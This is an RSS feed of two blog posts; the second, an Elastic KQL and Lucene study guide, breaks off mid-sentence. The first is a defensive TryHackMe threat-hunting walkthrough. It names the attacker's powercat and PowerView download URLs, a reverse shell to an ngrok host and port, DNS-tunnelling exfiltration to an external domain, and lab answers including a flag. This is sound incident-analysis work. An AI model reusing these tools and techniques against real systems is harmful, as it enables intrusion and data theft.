<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Svetoslav on Medium]]></title>
        <description><![CDATA[Stories by Svetoslav on Medium]]></description>
        <link>https://medium.com/@svetli80?source=rss-9a493c1fbd7a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*D6HF9b67HVmanDH5Cpidhg.jpeg</url>
            <title>Stories by Svetoslav on Medium</title>
            <link>https://medium.com/@svetli80?source=rss-9a493c1fbd7a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:10:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@svetli80/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Threat Investigation of TryHackMe’s “Hunt Me I: Payment Collectors”]]></title>
            <link>https://medium.com/@svetli80/a-threat-investigation-of-tryhackmes-hunt-me-i-payment-collectors-f23f2c10b94f?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f23f2c10b94f</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Sun, 08 Nov 2026 11:35:38 GMT</pubDate>
            <atom:updated>2026-11-08T11:35:38.521Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Anatomy of a Windows Compromise: Reconstructing the Attack Lifecycle via SIEM Telemetry</strong></h3><p><strong>By Svetoslav Angelov</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*mQKMcCrSmtPiNNTHkdHo2Q.png" /></figure><p><strong>Task 1. Introduction and Scenario</strong></p><p>On <strong>Friday, September 15, 2023</strong>, Michael Ascot, a Senior Finance Director from SwiftSpend, was checking his emails in <strong>Outlook</strong> and came across an email appearing to be from Abotech Waste Management regarding a monthly invoice for their services. Michael actioned this email and downloaded the attachment to his workstation without thinking. The following week, Michael received another email from his contact at Abotech claiming they were recently hacked and to carefully review any attachments sent by their employees. However, the damage has already been done. Use the attached Elastic instance to hunt for malicious activity on Michael’s workstation and within the SwiftSpend domain!</p><p><strong>Q1. What was the name of the ZIP attachment that Michael downloaded?</strong></p><p><strong>The Investigation Steps:</strong></p><p>In the Discover tab, I made sure my index pattern is set to <strong>winlogbeat-*</strong>. I know from the scenario that Michael downloaded a ZIP file from his email, which means a <strong>File Create</strong> event was logged on his workstation.</p><p>To find this, I need to hunt for <strong>Sysmon Event ID 11 (FileCreate)</strong> and filter for the <strong>.zip</strong> extension. I ran the following KQL query:</p><p><strong>winlog.event_id: 11 AND file.name: *.zip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*-PlBIOYwJ1OsyfzVwZri8A.png" /></figure><p>So, I looked at the single hit in my screenshot and realised that exfilt8me.zip is an archive the attacker created much later in the attack chain to steal data (exfiltration), not the original phishing attachment Michael downloaded.</p><p>I needed to pivot and use the clues from the phishing email itself. The email screenshot explicitly mentioned an “Invoice Details” section and an Invoice Number of “INV2023–227”. I decided to drop the strict winlog.event_id: 11 filter because the download might have been logged differently (for example, Sysmon Event ID 15 for “Mark of the Web” browser/email downloads).</p><p>To find the initial payload, I ran a broader KQL query to catch any files or command lines referencing the invoice:</p><p><strong>“INV2023–227” OR *Invoice*.zip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*vMkDhIxftiw10fMsJKS7Lw.png" /></figure><p><strong>Answer:</strong> <strong>Invoice_AT_2023–227.zip</strong></p><p><strong>Q2. What was the contained file that Michael extracted from the attachment?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Now that I know the exact name of the ZIP file (Invoice_AT_2023–227.zip), I need to find out what malicious payload was hiding inside it.</p><p>When Michael extracted the archive, the operating system would have logged a new File Creation event (Sysmon Event ID 11) for the contents. Since extracted files usually share the same base name as the parent ZIP file, I ran this query to find it:</p><p><strong>winlog.event_id: 11 AND file.name: *Invoice_AT_2023–227* AND NOT file.name: *.zip</strong></p><p>This query didn’t return any results. I realised the attacker probably named the file inside the ZIP something slightly different from the archive itself (a classic evasion trick!).</p><p>I broadened my search to catch any file or process containing the word “Invoice” being created or executed, while excluding the ZIP file we already found.</p><p>I use the following query:</p><p><strong>*Invoice* AND NOT *.zip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*NQcq_q78_fSsL975CLCcBg.png" /></figure><p><strong>Answer:</strong> <strong>Payment_Invoice.pdf.lnk.lnk</strong></p><p><strong>Q3. What was the name of the command-line process that spawned from the extracted file attachment?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Now that I know Michael extracted Payment_Invoice.pdf.lnk.lnk, I need to find out what happened when he double-clicked that malicious shortcut.</p><p>When a user clicks a shortcut file, it executes whatever payload is embedded inside it, which triggers a Process Creation event (Sysmon Event ID 1). So here is the query that I used:</p><p><strong>winlog.event_id: 1</strong></p><p>I added the following columns to my view to make the execution chain clear: <strong>host.name, process.parent.name, process. name, and process.command_line.</strong></p><p>The screenshot clearly shows <strong>powershell.exe</strong> acting as the parent process and launching reconnaissance commands like <strong>whoami.exe</strong> and <strong>net.exe</strong>. This proves the attacker successfully gained execution on Michael’s machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*mOnM9xQ3YacffgMlzUmqMQ.png" /></figure><p><strong>Answer: Powershell.exe</strong></p><p><strong>Q4. What URL did the attacker use to download a tool to establish a reverse shell connection?</strong></p><p><strong>The Investigation Steps:</strong></p><p>We just established that the attacker successfully executed powershell.exe. My next goal is to find out how they pulled down their reverse shell tool.</p><p>When attackers use command-line tools like PowerShell to download additional payloads, they typically use web requests that include the http or https protocol. To find this, I ran a query looking for process executions that contain web links in their command line arguments:</p><p><strong>winlog.event_id: 1 AND process.command_line: *http*</strong></p><p>I kept my columns focused to easily spot the malicious command: host.name, process.name, and process.command_line.</p><p>Looking at the result, I found a powershell.exe process where the process.command_line explicitly used a download <strong>Net.WebClient</strong> to grab a reverse shell script from an external server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*cFQJQtUHOUWbHVF8tyOmtQ.png" /></figure><p><strong>Answer: </strong><a href="https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"><strong>https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1</strong></a></p><p><strong>Q5. What port did the workstation connect to the attacker on?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Looking at the exact same log entry we found for Question 4 ( the screenshot above) we can see that the attacker downloaded the <strong>powercat</strong> script and executed it in one single command.</p><p>The attacker immediately executes the powercat function with a few arguments to establish the reverse shell. I saw the <strong>-c</strong> flag pointing to their <strong>ngrok </strong>domain (2.tcp.ngrok.io), followed immediately by the <strong>-p</strong> flag, which specifies the destination port.</p><p><strong>Answer:</strong> <strong>19282</strong></p><p><strong>Q6. What was the first native Windows binary the attacker ran for system enumeration after obtaining remote access?</strong></p><p><strong>The Investigation Steps:</strong></p><p>So, I am still on the Discover tab in Kibana, looking at winlogbeat-*. Since the reverse shell command (powercat) was executed around 18:41:12, I need to look at the process creations immediately following that timestamp to see what the attacker typed into their newly established session.</p><p>I ran the query to look for process <strong>creations:winlog.event_id: 1</strong></p><p>I kept my columns as host.name, process.parent.name, process.name, and process.command_line.</p><p>I sorted the @timestamp column in ascending order (oldest to newest) to follow the exact sequence of events. Just 16 seconds after the reverse shell started, at 18:41:28, I saw powershell.exe spawn a new child process. The command line showed the attacker running a classic native Windows tool to gather host configuration details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*nMHNS6HCg7EoSmRCF-C42g.png" /></figure><p><strong>Answer:</strong> <strong>systeminfo.exe</strong></p><p><strong>Q7. What is the URL of the script that the attacker downloads to enumerate the domain?</strong></p><p><strong>The Investigation Steps:</strong></p><p>I initially struggled to find the download link using generic queries, so I pivoted to a Lens visualisation (Table view on <strong>file.path.keyword</strong>) to look at file activity. The script PowerView.ps1 immediately stood out at the top of the list in the user’s downloads folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*LMfTaVsNbxAd-HD2rU7tgg.png" /></figure><p>Armed with the exact filename, I went back to the Discover tab and ran a targeted query: <strong>*PowerView.ps1* AND *http*</strong>. By expanding the JSON details (Ctrl+F) to search for <strong>PowerView.ps1</strong> in the resulting logs, I easily spotted the Invoke-WebRequest command containing the exact GitHub URL used to pull down the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*uZxAhBXy9uzT6rfsG1PTWg.png" /></figure><p><strong>Answer: </strong><a href="https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1"><strong>https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1</strong></a></p><p><strong>Q8. What was the name of the file share that the attacker mapped to Michael’s workstation?</strong></p><p><strong>The Investigation Steps:</strong></p><p>I actually remembered seeing this exact activity earlier when we were looking at the initial reverse shell execution in Question 3! Attackers frequently use the built-in Windows net.exe utility to map network drives.</p><p>To find this specific event again, I went to the Discover tab and ran a targeted query for process creations involving the net use command:</p><p>winlog.event_id: 1 AND process.name: “net.exe” AND process.command_line: *use*</p><p>Looking at the results at exactly 18:44:18, I saw powershell.exe spawn net.exe. The process.command_line clearly showed the attacker mounting a specific remote file share to the Z: drive on Michael’s workstation using the command “C:\Windows\system32\net.exe” use Z: \\FILESRV-01\SSF-FinancialRecords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*o_LwgBGP1Htz4GOv7m8o6g.png" /></figure><p><strong>Answer:</strong> SSF-FinancialRecords</p><p><strong>Q9. What directory did the attacker copy the contents of the file share to?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Since keyword searches for the Z: drive didn’t work, I decided to rely on the timeline. We know exactly when the file share was mounted: 18:44:18. I went back to my reliable Process Creation query (<strong>winlog.event_id: 1</strong>), keeping the @timestamp sorted in ascending order. I looked at the process executions immediately following the net.exe drive mapping. At 18:45:05, I spotted the attacker running Robocopy.exe. Expanding the process.command_line, I could see them using it to bulk copy the files into a specific staging directory on Michael’s machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*LOWoF6EsNS-w4tFnTrnJYw.png" /></figure><p><strong>Answer:</strong> <strong>C:\Users\michael.ascot\downloads\exfiltration</strong></p><p><strong>Q10. What was the name of the Excel file the attacker extracted from the file share?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Now that I know the attacker used Robocopy.exe to move the stolen files into the C:\Users\michael.ascot\downloads\exfiltration directory, I needed to see exactly what files landed there. When files are written to the local disk, Sysmon logs a File Creation event (Event ID 11).</p><p>To find the specific Excel file they stole, I ran a KQL query looking for File Creation events inside that exact staging folder, filtering specifically for Excel <strong>extensions:winlog.event_id: 11 AND *exfiltration* AND *.xls*</strong></p><p>The query successfully narrowed it down to a single log at 18:45:05. However, the target name column I was looking at appeared blank in the summary table due to a Kibana parsing quirk. To get around this, I expanded that single log entry to view the full document details. Looking at the parsed fields inside the document view, I located the file.name field, which clearly showed the name of the stolen financial document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*F75QQdl0ya7SbBquqVnjZg.png" /></figure><p><strong>Answer:</strong> <strong>ClientPortfolioSummary.xlsx</strong></p><p><strong>Q11. What was the name of the archive file that the attacker created to prepare for exfiltration?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Funny enough, I actually stumbled upon the answer to this question right at the very beginning of the investigation during Question 1!</p><p>When I was initially hunting for the downloaded phishing attachment, I ran a broad query to look for any ZIP files created on the system using Sysmon Event ID 11 (File Creation):<strong>winlog.event_id: 11 AND file.name: *.zip</strong></p><p>At the time, I noticed a hit for a ZIP file that was created much later in the attack timeline, and I realised it was an exfiltration archive rather than the initial payload. Now that I have followed the attack timeline past 18:45:05 (when the attacker staged the stolen files into the exfiltration folder), this archive creation event makes perfect sense. The attacker compressed the contents of that staging directory into a single ZIP file to make it easier to steal.</p><p><strong>Answer:</strong> exfilt8me.zip</p><p><strong>Q12. What is the MITRE ID of the technique that the attacker used to exfiltrate the data?</strong></p><p><strong>The Investigation Steps:</strong></p><p>Now that we know the attacker packaged everything into exfilt8me.zip, we need to figure out how they smuggled that archive out of the network.</p><p>I went back to the Discover tab and ran a query for Process Creations (winlog.event_id: 1) to see what commands the attacker executed immediately after zipping the files.</p><p>Sorting chronologically right after the zip creation, I noticed a massive spike in <strong>nslookup.exe</strong> commands being executed in rapid succession. The command lines showed the attacker taking small, encoded chunks of the zip file and appending them as subdomains in DNS queries sent to an external server. This is a classic data exfiltration method known as <strong>DNS Tunneling</strong>.</p><p>To find the specific MITRE ATT&amp;CK ID, I went to the official MITRE ATT&amp;CK website and looked under the “Exfiltration” tactic. I found the technique for “Exfiltration Over Alternative Protocol” (since DNS is an alternative protocol compared to their established C2 channel).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*l1_DELW1I4FhN4AFWQKP0Q.png" /></figure><p><strong>Answer:</strong> <strong>T1048</strong></p><p><strong>Q13. What was the domain of the attacker’s server that retrieved the exfiltrated data?</strong></p><p><strong>The Investigation Steps:</strong></p><p>To identify the destination of the DNS tunneling, I ran a targeted query in the Discover tab for Process Creations specifically involving the DNS lookup utility: <strong>winlog.event_id: 1 AND process.name: “nslookup.exe”.</strong> Looking at the flurry of DNS requests that occurred immediately after the exfiltration archive was created, I expanded the process.command_line field. The logs clearly showed the attacker appending chunks of encoded data as subdomains to a specific, static root domain belonging to their external server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*Pta1vcdN8-lTkxWKt6MPbg.png" /></figure><p><strong>Answer: haz4rdw4re.io</strong></p><p><strong>Q14. The attacker exfiltrated an additional file from the victim’s workstation. What is the flag you receive after reconstructing the file?</strong></p><p><strong>The Investigation Steps:</strong></p><p>By scrolling to the very end of the DNS tunneling activity in the Discover tab, I located the final nslookup.exe commands representing the second exfiltrated file. The command lines contained the last two encoded subdomains: VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm and RmYjEyNGZiMTY1NjZlfQ==. I extracted these strings, combined them, and pasted the full Base64 payload into CyberChef. Using the “From Base64” recipe, the text successfully decoded to reveal the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*d0Rt9C8Jnv7mLIMwg4GUAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*EYRRiikN5VnURvRWGiU6jw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*LhSUK7zhcTojdzhcRIUiRQ.png" /></figure><p><strong>Answer: THM{1497321f4f6f059a52dfb124fb16566e}</strong></p><p>Thank you for the reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f23f2c10b94f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering the Elastic Stack: Advanced Query Languages and SIEM Threat Hunting]]></title>
            <link>https://medium.com/@svetli80/mastering-the-elastic-stack-advanced-query-languages-and-siem-threat-hunting-322dc4e3ff85?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/322dc4e3ff85</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Mon, 31 Aug 2026 10:08:05 GMT</pubDate>
            <atom:updated>2026-08-31T10:08:05.965Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Mastering the Elastic Stack: Advanced Query Languages and SIEM Threat Hunting</strong></p><p><em>By Svetoslav Angelov</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*R5VolXDhtDPrh--i1SoRjQ.png" /></figure><p>Recently, I completed the “Elastic: Query Languages” challenge on TryHackMe to sharpen my log analysis and threat hunting capabilities. This post serves as a comprehensive study guide and technical walkthrough of that engagement. Below, I detail my DFIR methodology and notes on navigating nested data, utilising complex regular expressions, and mastering fuzzy and proximity searches using both Kibana Query Language (KQL) and Lucene syntax. Whether you are a fellow student or an active analyst looking for a quick Elastic Stack reference guide, I hope these notes bring value to your next investigation.</p><h3><strong>Elastic: Query Languages</strong></h3><h4><strong>Task 1: Introduction</strong></h4><p><strong>Overview</strong></p><p>· Security Operations Centre (SOC) analysts manage massive amounts of data from network traffic logs, intrusion detection systems, vulnerability scanners, and endpoint security software.</p><p>· Mastering advanced queries streamlines the process of sifting through this data to extract critical insights and make well-informed decisions.</p><p>· Advanced queries are an integral component of the <strong>Elastic Stack</strong>, which provides visualisation and analytics for data stored in Elasticsearch.</p><p><strong>Learning Objectives</strong></p><p>· Understand the query languages available in Kibana and when to use them.</p><p>· Build advanced searches using operators, special characters, and flexible matching techniques.</p><p>· Accurately filter and search structured and nested data within events.</p><p>· Refine search results by controlling how terms are matched within fields and log messages.</p><p>· Apply pattern-based searches to uncover variations and related activity.</p><h4><strong>Task 2. Elastic Languages and Syntax</strong></h4><p>Understanding the query languages available in Kibana, and how they handle special characters, wildcards, and field types, is crucial to avoiding mistakes when building complex searches.</p><p><strong>Supported Syntaxes</strong></p><p>Kibana supports multiple query syntaxes designed for different types of search and analysis:</p><p>· <strong>Lucene:</strong> A powerful query syntax built on the <strong>Apache Lucene library</strong> (the core search engine underlying Elasticsearch). It supports advanced capabilities like pattern matching and positional queries.</p><p>o <em>Example:</em> <strong>flag: thm</strong></p><p>· <strong>Kibana Query Language (KQL):</strong> A simpler, user-friendly language built specifically for filtering data in Kibana (ideal for Discover and dashboards). Note: This is different from Microsoft’s Kusto Query Language.</p><p>o <em>Example:</em> <strong>flag: thm</strong></p><p>· <strong>Elasticsearch Query Language (ES|QL):</strong> A newer, pipe-based language for structured data analysis. It allows you to filter, transform, and aggregate data using a sequential pipeline syntax (comparable to Splunk’s SPL).</p><p>o <strong><em>Example:</em> FROM index-name | WHERE flag == “thm”</strong></p><p><strong>Handling Special Characters</strong></p><p>Certain characters act as operators and have reserved meanings in both KQL and Lucene: <strong>+ — &amp;&amp; || ! ( { [ ^ ~ * ? : /</strong></p><p>To search for these literal characters, they must be wrapped in quotes or escaped with a backslash.</p><p>· <em>Wrapped in quotes:</em> <strong>flag: “THM{kql!}”</strong></p><p>· <em>Escaped with backslashes:</em> <strong>flag: THM\{kql\!\}</strong></p><p><strong>Quotation Marks</strong></p><p>Use quotation marks (“ “) to define exact phrases and values containing spaces. If the value itself contains a quote, escape it with a backslash.</p><p>· <em>Values with spaces:</em> <strong>log_message: “Authentication failed”</strong></p><p>· <em>Escaping internal quotes:</em> <strong>log_message: “User \”bob\” created”</strong></p><p><strong>Periods</strong></p><p>Periods are commonly used in field names (e.g., host.name). When searching for a period within a string value (like .exe), ensure it is correctly interpreted based on the language:</p><p>· <strong><em>In KQL</em></strong><em> (escape with quotes):</em> <strong>file.extension: “.exe”</strong></p><p>· <strong><em>In Lucene</em></strong><em> (escape with backslashes):</em> <strong>file.extension: \.exe</strong></p><p><strong>Wildcards</strong></p><p>Wildcards are used to search for partial matches. The multi-character wildcard * matches zero or more characters.</p><p>· <em>Example:</em> article_title: *Malware* (returns variations containing “Malware”).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ymm1dsFMJ98ss-Ud6TUm0g.png" /></figure><p><strong>Field Types, Tokenisation, and Wildcard Limitations</strong></p><p>Elasticsearch commonly stores fields as either text or keyword data types.</p><p><strong>text fields:</strong> Analysed during indexing. The value is broken down into smaller pieces called tokens (e.g., “Elastic Query Languages” becomes “Elastic”, “Query”, “Languages”).</p><p>· <em>Effect on wildcards:</em> Because wildcards operate on <em>individual tokens</em> rather than the full original value, you cannot match across spaces, and partial matches may fail.</p><p><strong>keyword fields:</strong> Not analysed. The entire value is stored exactly as written.</p><p>· <em>Note:</em> Wildcard queries can be slow, especially when starting with *, because Elasticsearch must scan many indexed terms.</p><p><strong>Answer the questions below</strong></p><p><strong>Question 1:</strong> <strong>The value david:davidson exists in the user.name field.</strong><br> <strong>Since the colon : is a special character in KQL, what query would you use to search for this exact value?</strong></p><p><strong>Answer:</strong> user.name: “david:davidson”</p><p><strong>Question 2:</strong> <strong>Suppose you want to find values such as hack and hacking in the activity field.<br> What wildcard query would return these results?</strong></p><p><strong>Answer:</strong> activity: hack*</p><h4><strong>Task 3: Navigating Nested Data</strong></h4><p>Sometimes, datasets contain fields with structured data (like a JSON format) rather than simple text values. This allows analysts to search not just the top-level field, but specific attributes nested inside those objects.</p><p><strong>Example Dataset Context</strong></p><p>In the provided example, the <strong>affected_systems</strong> and comments fields store multiple objects. The comments field is an array of objects, each containing an author and a text field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45xmO-a4O9OP6Dom--LJgQ.png" /></figure><p><strong>Basic Nested Queries</strong></p><p>To search within these nested structures, use the standard <strong>field.subfield</strong> dot-notation syntax:</p><p>· <strong>comments.author: *</strong> (Returns all records that have <em>any</em> value in the author subfield).</p><p>· <strong>comments.author: “Alice”</strong> (Returns only records where the exact string “Alice” is the author).</p><p><strong>Kibana Navigation Steps (Discover Tab)</strong></p><p>1. Click the Kibana menu in the top left.</p><p>2. Highlight the <strong>Analytics</strong> section.</p><p>3. Click <strong>Discover</strong>.</p><p>4. Click to choose an <strong>index pattern</strong>.</p><p>5. Select the <strong>nested-queries</strong> index.</p><p><strong>Combining &amp; Grouping Queries</strong></p><p>You can chain multiple conditions together to filter nested data with high precision:</p><p>· <strong>Combining different fields (AND operator):</strong></p><p>comments.author: “Alice” AND comments.text: “attack”</p><p>· <strong>Grouping values within the same field (Parentheses):</strong></p><p>If you need to search for multiple values inside a single field, wrap the values in parentheses ().</p><p>o <strong><em>Must contain both authors:</em></strong></p><p>comments.author: (“Alice” AND “Bob”) AND comments.text: “attack”</p><p>o <em>Can contain either author:</em></p><p>comments.author: (“Alice” OR “Bob”) AND comments.text: “attack”</p><p><strong>Playbook for Answering the Questions</strong></p><p>To answer the questions for this task, you must switch your environment to query the larger dataset (1000 events).</p><p>1. Select the <strong>incidents</strong> index pattern.</p><p>2. Set your time range exactly to: <strong>Apr 30, 2022 @ 00:00:00.000 → now</strong>.</p><p><em>Note: Since these answers rely on the live 1000-event dataset inside your specific Kibana instance, run the KQL queries provided below in the search bar and look at the total “hits” count in the top-left corner of the Discover results to get your exact numbers.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tk39JlB7CmYwnGW0NrKMQQ.png" /></figure><p><strong>Answer the questions below</strong></p><p><strong>Question 1: How many incidents involve the file marketing_strategy_2023_07_23.pptx?</strong></p><p><strong>Query to run: </strong>affected_systems.affected_files.file_name: “marketing_strategy_2023_07_23.pptx”</p><p><strong>Answer: 4</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*ReZrUPtgJ_9fl8MrKonn7w.png" /></figure><p><strong>Question 2: How many incidents involve files on a File Server with names that start with marketing_strategy?</strong></p><p><strong>Query to run: </strong>affected_systems.system_type: “File Server” AND affected_systems.affected_files.file_name: marketing_strategy*</p><p><strong>Answer:</strong> <strong>135</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*rHE-x-cKYAWBjPafUkDqBg.png" /></figure><p><strong>Question 3: Which Web Server had a true positive incident where both the admin and it users were logged in?</strong></p><p><strong>Query to run: </strong>affected_systems.system_type: “Web Server” AND affected_systems.logged_on_users: (“admin” AND “it”) AND incident_comments: “true positive”</p><p><em>(Note: I use parentheses to group the admin and it users to ensure both values are required within the same logged_on_users field, and we search the comments for the “true positive” confirmation).</em></p><p><strong>Answer: </strong>web-server-77</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*KEuJZuSkr4t3fvKrqKPBnA.png" /></figure><h4><strong>Task 4. Investigating With Regexp</strong></h4><p><strong>Overview of Regular Expressions (Regex) in Elastic</strong></p><p>· Regex allows for flexible, powerful search logic using pattern matching rather than exact words or simple wildcards.</p><p>· It is heavily utilised in log data analysis, threat hunting queries, and pattern-based detection logic where simple query strings are insufficient to capture complex data variations.</p><p>· <strong>Crucial Requirement:</strong> To use regular expressions in Kibana, you must <strong>turn off KQL</strong> and switch the search bar to use the <strong>Lucene</strong> query syntax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*63adS4tPfR29eOlia4H8Xw.png" /></figure><p><strong>Lucene Regex Syntax &amp; Examples</strong></p><p>· In Lucene, regex patterns must be wrapped in forward slashes <strong>/</strong>.</p><p>· The period <strong>.</strong> matches any single character.</p><p>· The asterisk <strong>* </strong>matches zero or more of the preceding character.</p><p><strong>Match everything:</strong></p><p>Event_Type: /.*/</p><p>· <strong>Match specific starting characters:</strong> To return field values that start with the letters ‘S’ or ‘M’:</p><p>Event_Type: /(S|M).*/</p><p><strong>Field Data Type Behaviour (Keyword vs. Text)</strong></p><p>How Elastic handles your regex query depends entirely on the underlying data type of the field you are searching.</p><p><strong>keyword Data Type (e.g., Event_Type):</strong></p><p>The regex searches the entire string exactly as it is stored. It behaves exactly as expected for standard regex pattern matching.</p><p><strong>text Data Type (e.g., Description):</strong></p><p>Elastic analyses and tokenises text fields, breaking the string down into individual words.</p><p>The regex is evaluated against <em>each individual word (token)</em>, not the sentence as a whole.</p><p>· <em>Example 1:</em> Description: <strong>/.*/</strong> will highlight all words because every token matches.</p><p>· <em>Example 2:</em> Description<strong>: /(s|m).*/</strong> will only highlight the individual words within the description that start with ‘s’ or ‘m’, rather than highlighting the entire description block.</p><p><strong>Combining Regex with Operators</strong></p><p>Because text fields are tokenised, you can combine multiple regex patterns using standard operators (like AND) to find events where multiple specific word patterns exist in the same field:</p><p>Description: <strong>/(s|m).*/ AND /user.*/</strong></p><p><strong>Playbook for Answering the Questions</strong></p><p>To answer these questions, you must be in the incidents index pattern, and you must ensure the search bar is set to <strong>Lucene</strong> (click the “KQL” button in the search bar and turn it off). Make sure your time range is still broad enough to capture the dataset (e.g., Apr 30, 2022 @ 00:00:00.000 → now).</p><p><strong>Answer the questions below</strong></p><p><strong>Question 1: How many events exist where a client_list file was affected by ransomware?</strong></p><p><strong>Query to run: </strong>incident_type: /Ransomware/ AND affected_systems.affected_files.file_name: /.*client_list.*/</p><p><strong>Answer: 70</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*wDvC_VkKj2--M2UHtPgDhw.png" /></figure><p><strong>Question 2: Investigate the affected_systems.affected_files.file_name field using the regex /.*project.*/. What is the affected system name on the latest event managed by EVenis?</strong></p><p><strong>Query to run: </strong>affected_systems.affected_files.file_name: /.*project.*/</p><p><strong>Action:</strong></p><p>1. Run the query.</p><p>2. Sort the Time column in descending order to show the latest events first.</p><p>3. Expand the top results and look for <strong>team_members.name: EVenis</strong>.</p><p>Once you find the latest event for EVenis, check the <strong>affected_systems.system_name</strong> field for the final answer.</p><p><strong>Answer:</strong> <strong>web-server-37</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*6waPKWvQKkX8oGElmOH2fA.png" /></figure><h4><strong>Task 5: Defining Ranges and Boundaries</strong></h4><p><strong>Overview of Range Queries</strong></p><p>· Range queries are used to search for documents where field values fall within a specific, defined range.</p><p>· They are highly effective for querying <strong>numeric values, timestamps, and IP addresses</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BqNJ_M4bjQCWUaMPD13roA.png" /></figure><p><strong>Basic Numeric Range Queries</strong></p><p>Using standard mathematical operators, you can quickly filter numerical fields to isolate specific thresholds.</p><p><strong>Greater than or equal to:</strong> To find all documents where the response time is 100 seconds or more (Returns records 1, 2, 3, 4, and 5):</p><p>response_time_seconds &gt;= 100</p><p><strong>Less than:</strong> To find all documents where the response time is strictly under 300 seconds (Returns records 1, 2, and 5):</p><p>response_time_seconds &lt; 300</p><p><strong>Combining Ranges (Kibana Steps)</strong></p><p>You can combine multiple operators using AND to create a strict boundary (a floor and a ceiling) for your search.</p><p>1. Ensure you have selected the <strong>ranges</strong> index pattern.</p><p>2. Turn <strong>ON</strong> KQL (Kibana Query Language).</p><p>3. Enter the following query to locate events where the response time is between 100 and 300 seconds (inclusive):</p><p>response_time_seconds &gt;= 100 AND response_time_seconds &lt;= 300</p><p>4. View the results. Any field values outside this exact mathematical range will be filtered out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2MZXs_z_3DveAXo2RKcaQA.png" /></figure><p><strong>Using Ranges to Query Time</strong></p><p>Range operators are exceptionally useful for filtering event dates and times. When querying dates in KQL, you do not always need to include the exact hours, minutes, or seconds.</p><p><em>Note: For these examples, you must switch back to the </em><strong><em>incidents</em></strong><em> index pattern, which spans from April 2022 to April 2023.</em></p><p>· <strong>Events occurring on or after a specific date:</strong></p><p>@timestamp &gt;= “2023–01–01”</p><p>· <strong>Events occurring within a specific time window:</strong> By combining operators, you can isolate events that happened on or after January 1, 2023, but <em>before</em> March 1, 2023.</p><p>@timestamp &gt;= “2023–01–01” AND @timestamp &lt; “2023–03–01”</p><p><strong>Practicing on a Larger Dataset</strong></p><p>Let’s practice what 